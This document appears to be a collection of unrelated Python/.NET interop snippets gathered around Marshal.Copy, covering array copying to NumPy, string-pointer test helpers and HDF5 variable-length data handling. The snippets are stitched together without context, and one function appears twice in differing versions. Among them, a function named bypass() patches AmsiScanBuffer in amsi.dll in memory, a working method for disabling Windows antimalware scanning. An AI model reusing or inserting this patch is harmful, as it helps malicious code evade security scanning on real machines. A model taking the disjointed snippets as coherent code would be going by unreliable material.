def assertStringObjectHasDataBytes(self, strPtr, expectedBytes): strDataPtr = self.dataPtrFromStrPtr(strPtr) testLength = len(expectedBytes) writtenBytes = Array.CreateInstance(Byte, testLength) Marshal.Copy(strDataPtr, writtenBytes, 0, testLength) self.assertEquals(len(writtenBytes), testLength, "copied wrong") for (actual, expected) in zip(writtenBytes, expectedBytes): self.assertEquals(actual, expected, "failed to copy string data correctly")
def _copy_double_array(src): '''A quick and dirty implementation of the fourth technique shown in https://mail.python.org/pipermail/pythondotnet/2014-May/001525.html for copying a .NET Array[Double] to a NumPy ndarray[np.float64] via a raw memory copy. ``int_ptr_tp`` must be an integer type that can hold a pointer. On Python 2 this is :class:`long`, and on Python 3 it is :class:`int`. ''' dest = np.empty(len(src), dtype=np.float64) Marshal.Copy( src, 0, IntPtr.__overloads__[Int64](dest.__array_interface__['data'][0]), len(src)) return dest
def bypass(): asbSTR = Marshal.StringToHGlobalAnsi("AmsiScanBuffer") asbHandle = NativeMethods.LoadLibrary("amsi.dll") asbPtr = NativeMethods.GetProcAddress(asbHandle, asbSTR) old = Marshal.AllocHGlobal(4) prot = NativeMethods.VirtualProtect(asbPtr, 0x0015, 0x40, old) patch = System.Array[System.Byte]((0x33, 0xff, 0x90)) unPtr = Marshal.AllocHGlobal(3) Marshal.Copy(patch, 0, unPtr, 3) NativeMethods.RtlMoveMemory(asbPtr + 0x001b, unPtr, 3) Marshal.FreeHGlobal(old) Marshal.FreeHGlobal(unPtr)
def _fetch_getdev(self): clist = self._clean_channel_list() if self._inbuffer is None: return None #This conversion is much faster than doing # v=array(list(buf.GetDataAsVolts())) buf = self._inbuffer fullsize = buf.BufferSizeInSamples validsize = buf.ValidSamples v = np.ndarray(validsize, dtype=float) Marshal.Copy(buf.GetDataAsVolts(), 0, IntPtr.op_Explicit(Int64(v.ctypes.data)), len(v)) num_channel = len(clist) if num_channel != 1 and self.nb_samples.getcache() != 1: v.shape = (-1, num_channel) v = v.T return v
def writeVlenData(h5file): dtype = H5T.vlenCreate(H5T.H5Type.NATIVE_INT) array = range(16) npoints = len(array) shape = Array[Int64]((npoints, )) dspace = H5S.create_simple(shape.Length, shape) dset = H5D.create(h5file, 'Vlen Dataset', dtype, dspace) wdata = Array.CreateInstance(hvl_t, npoints) sizeofInt = 4 for i in range(npoints): nElems = array[i] + 1 nBytes = nElems * sizeofInt # the data to be written (array of length i+1 with all elements = i) data = Array.CreateInstance(Byte, nBytes) for j in range(nElems): Array.Copy(System.BitConverter.GetBytes(i), 0, data, j * sizeofInt, sizeofInt) # allocate and copy to array in unmanaged memory mem = Marshal.AllocHGlobal(nBytes) Marshal.Copy(data, 0, mem, nBytes) wdata[i] = VLen(IntPtr(nElems), mem).To_hvl_t() H5D.write(dset, dtype, H5Array[hvl_t](wdata)) # free unmanaged buffer space for i in range(npoints): vl = VLen(wdata[i]) Marshal.FreeHGlobal(vl.Pointer) H5D.close(dset) H5S.close(dspace) H5T.close(dtype) return None
def test_pythonnet_array(self): fLOG(__file__, self._testMethodName, OutputPrint=__name__ == "__main__") if sys.platform.startswith("win"): from src.ensae_teaching_cs.pythonnet import clr clr.AddReference("System.Collections") from System import IntPtr, Array, Double from System.Runtime.InteropServices import Marshal assert Double is not None assert Array is not None assert IntPtr is not None array = numpy.ones((2, 2)) ar = clr.IntPtr_long(array.__array_interface__['data'][0]) ar2 = Array[int]([0, 0, 0, 0] * 2) fLOG(type(ar)) fLOG(type(ar2), list(ar2)) Marshal.Copy(ar, ar2, 0, len(ar2)) fLOG(list(ar2))
def _copy_double_array(src): '''A quick and dirty implementation of the fourth technique shown in https://mail.python.org/pipermail/pythondotnet/2014-May/001525.html for copying a .NET Array[Double] to a NumPy ndarray[np.float64] via a raw memory copy. ``int_ptr_tp`` must be an integer type that can hold a pointer. On Python 2 this is :class:`long`, and on Python 3 it is :class:`int`. ''' # When the input .NET array pointer is None, return an empty array. On Py2 # this would happen automatically, but not on Py3, and perhaps not safely on # all Py2 because it relies on pythonnet and the .NET runtime properly checking # for nulls. if src is None: return np.array([], dtype=np.float64) dest = np.empty(len(src), dtype=np.float64) Marshal.Copy( src, 0, IntPtr.__overloads__[Int64](dest.__array_interface__['data'][0]), len(src)) return dest
def fillStringDataWithBytes(self, strPtr, bytes): strDataPtr = self.dataPtrFromStrPtr(strPtr) Marshal.Copy(bytes, 0, strDataPtr, len(bytes))
def ptrFromByteArray(self, bytes): testData = Marshal.AllocHGlobal(bytes.Length + 1) Marshal.Copy(bytes, 0, testData, bytes.Length) Marshal.WriteByte(OffsetPtr(testData, bytes.Length), 0) return testData
def readVlenData(h5file): dset = H5D.open(h5file, 'Vlen Dataset') dspace = H5D.getSpace(dset) npoints = H5S.getSimpleExtentNPoints(dspace) dtype = H5D.getType(dset) xfer = H5P.create(H5P.PropertyListClass.DATASET_XFER) acb = H5AllocCallback(allocCallback) fcb = H5FreeCallback(freeCallback) H5P.setVlenMemManager(xfer, acb, IntPtr.Zero, fcb, IntPtr.Zero) sel = H5DataSpaceId(H5S.H5SType.ALL) rdata = Array.CreateInstance(hvl_t, npoints) H5D.read(dset, dtype, sel, sel, xfer, H5Array[hvl_t](rdata)) sizeofInt = 4 # Expected output: # # 0 # 1 1 # 2 2 2 # 3 3 3 3 # 4 4 4 4 4 # 5 5 5 5 5 5 # 6 6 6 6 6 6 6 # 7 7 7 7 7 7 7 7 # 8 8 8 8 8 8 8 8 8 # 9 9 9 9 9 9 9 9 9 9 # 10 10 10 10 10 10 10 10 10 10 10 # 11 11 11 11 11 11 11 11 11 11 11 11 # 12 12 12 12 12 12 12 12 12 12 12 12 12 # 13 13 13 13 13 13 13 13 13 13 13 13 13 13 # 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 # 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 # compute the maximum length and create a managed buffer nBytes = 0 for i in range(npoints): vl = VLen(rdata[i]) nElems = vl.Length.ToInt64() nBytes = max(nBytes, nElems * sizeofInt) raw = Array.CreateInstance(Byte, nBytes) # copy from unmanged memory into managed buffer and read values for i in range(npoints): vl = VLen(rdata[i]) nElems = vl.Length.ToInt64() nBytes = nElems * sizeofInt Marshal.Copy(vl.Pointer, raw, 0, nBytes) for j in range(nElems): print System.BitConverter.ToInt32(raw, sizeofInt * j), print '' H5D.vlenReclaim(dtype, dspace, xfer, H5Array[hvl_t](rdata)) H5P.close(xfer) H5D.close(dset) H5S.close(dspace) H5T.close(dtype) return None